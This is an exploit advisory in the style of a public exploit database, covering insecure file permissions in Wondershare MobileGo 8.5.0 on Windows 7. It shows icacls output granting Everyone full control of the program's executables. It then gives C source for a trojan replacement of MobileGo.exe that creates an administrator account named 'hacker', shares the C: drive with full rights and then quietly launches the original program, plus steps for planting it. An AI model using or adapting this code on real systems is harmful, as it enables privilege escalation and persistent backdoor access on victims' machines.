MobileGo 8.5.0 - Insecure File Permissions

# Exploit Title: MobileGo 8.5.0 - Insecure File Permissions
# Exploit Author: ZwX
# Exploit Date: 2019-11-15
# Vendor Homepage : https://www.wondershare.net/
# Software Link: https://www.wondershare.net/mobilego/
# Tested on OS: Windows 7


# Proof of Concept (PoC):
==========================
C:\Program Files\Wondershare\MobileGo>icacls *.exe
adb.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

APKInstaller.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

BsSndRpt.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

DriverInstall.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

fastboot.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

FetchDriver.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

MGNotification.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

MobileGo.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

MobileGoService.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

unins000.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

URLReqService.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

WAFSetup.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

WsConverter.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)

WsMediaInfo.exe EveryoneI)(F)
AUTORITE NT\SystèmeI)(F)
BUILTIN\AdministrateursI)(F)
BUILTIN\UtilisateursI)(RX)



#Exploit code(s):
=================

1) Compile below 'C' code name it as "MobileGo.exe"

#include<windows.h>

int main(****){
system("net user hacker abc123 /add");
system("net localgroup Administrators hacker /add");
system("net share SHARE_NAME=c:\ /grant:hacker,full");
WinExec("C:\\Program Files\\Wondershare\\MobileGo\\~MobileGo.exe",0);
return 0;
}

2) Rename original "MobileGo.exe" to "~MobileGo.exe"
3) Place our malicious "MobileGo.exe" in the MobileGo directory
4) Disconnect and wait for a more privileged user to connect and use MobileGo IDE.
Privilege Successful Escalation